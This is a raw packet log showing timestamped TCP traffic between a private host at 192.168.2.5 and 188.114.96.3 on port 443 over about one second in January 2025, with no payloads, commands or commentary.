Jan 5, 2025 18:52:55.490955114 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.490959883 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.490991116 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.491002083 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.491261005 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.491281033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.491336107 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.491342068 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.491383076 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.494930983 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.494946003 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.495006084 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.495012999 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.495045900 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.497066021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.497081041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.497148991 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.497154951 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.497190952 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.497833014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.497847080 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.497905016 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.497910976 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.497948885 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.520104885 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.582004070 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582021952 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582083941 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.582112074 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582159996 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.582169056 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582189083 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582252026 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.582257032 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582294941 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.582412958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582426071 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582482100 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.582489014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.582503080 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.582529068 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.583297014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.583358049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.583364964 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.583380938 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.583420038 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.583681107 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.583694935 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.583723068 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.583729982 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.583761930 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.587193966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.587208986 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.587264061 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.587274075 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.589462042 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.589476109 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.589518070 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.589524984 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.589555979 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.590167046 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.590179920 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.590221882 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.590228081 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.590246916 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.637548923 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.674386978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674405098 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674468040 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.674479961 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674521923 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.674650908 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674664974 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674710035 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.674716949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674746037 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.674763918 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.674861908 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674876928 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674913883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.674920082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.674952984 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.674966097 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.675760031 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.675780058 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.675820112 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.675825119 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.675858974 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.675870895 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.676034927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.676049948 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.676090002 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.676095009 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.676125050 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.676139116 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.679800987 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.679816961 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.679863930 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.679869890 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.679899931 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.679919004 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.681896925 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.681911945 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.681967974 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.681977987 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.682012081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.682672977 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.682688951 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.682727098 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.682732105 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.682751894 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.682771921 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.766901970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.766922951 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.766966105 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.766977072 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.767004013 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.767014980 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.767047882 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.767051935 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.767097950 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.767097950 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.767441988 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.767457008 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.767494917 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.767501116 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.767565012 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.768152952 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.768194914 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.768210888 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.768222094 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.768249989 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.768260002 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.768520117 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.768543959 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.768575907 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.768579960 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.768610954 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.768630981 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.771709919 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.771728039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.771764994 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.771770954 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.771810055 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.771823883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.772831917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.772846937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.772912025 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.772917986 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.772955894 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.774916887 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.774930954 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.774996996 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.775002956 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.775034904 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.775219917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.775233030 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.775263071 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.775269032 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.775299072 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.775310993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.859631062 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.859658003 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.859710932 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.859734058 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.859745979 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.859746933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.859769106 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.859771967 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.859778881 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.859802008 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.859833002 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.860471964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.860491991 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.860543013 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.860549927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.860584974 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.860835075 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.860851049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.860883951 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.860888958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.860924959 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.861143112 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.864157915 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.864182949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.864298105 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.864305019 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.864336967 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.865222931 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.865241051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.865276098 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.865282059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.865310907 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.865324020 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.867198944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.867244005 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.867280006 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.867286921 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.867295980 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.867327929 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.867552042 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.867572069 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.867598057 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.867603064 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.867629051 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.867643118 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952142954 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952162027 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952220917 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952235937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952245951 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952272892 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952302933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952328920 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952358007 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952364922 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952389956 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952402115 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952498913 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952512026 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952543974 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952549934 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.952577114 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.952589035 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.953237057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.953252077 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.953301907 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.953309059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.953355074 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.953500986 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.953515053 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.953572035 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.953577042 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.953635931 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.957256079 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.957271099 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.957339048 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.957345963 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.957402945 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.959666014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.959681034 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.959739923 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.959747076 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.959784985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.960166931 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.960180044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.960238934 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.960243940 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:55.960310936 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:55.966609955 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.044800997 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.044827938 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.044882059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.044917107 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.044929028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.044960976 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.044975996 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.044992924 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.045042992 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.045057058 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.045104027 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.045113087 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.045741081 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.045824051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.045826912 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.045876980 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.045886040 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.045968056 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.045999050 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.046017885 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.046030998 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.046039104 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.049372911 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.049432039 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.049439907 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052181959 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052196980 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052268028 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.052277088 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052687883 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052701950 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052758932 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.052764893 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052946091 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052958965 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.052993059 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.053002119 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.053028107 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.106332064 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.146014929 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.146037102 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.146172047 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.146183968 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.146205902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.146229982 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.146233082 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.146240950 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.146279097 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.146308899 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147124052 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147138119 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147202969 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147208929 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147248983 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147454977 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147469997 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147507906 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147515059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147532940 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147557974 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147622108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147643089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147681952 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147687912 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147712946 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147732019 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147773027 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147788048 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147838116 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.147849083 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.147886038 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.148041010 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.148055077 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.148103952 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.148108959 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.148147106 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.148185015 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.148199081 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.148252964 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.148258924 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.148291111 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.230053902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.230077028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.230160952 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.230173111 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.230216026 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.230257034 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.230272055 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:56.230334044 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:56.230340004 CET	443	49885	188.114.96.3	192.168.2.5
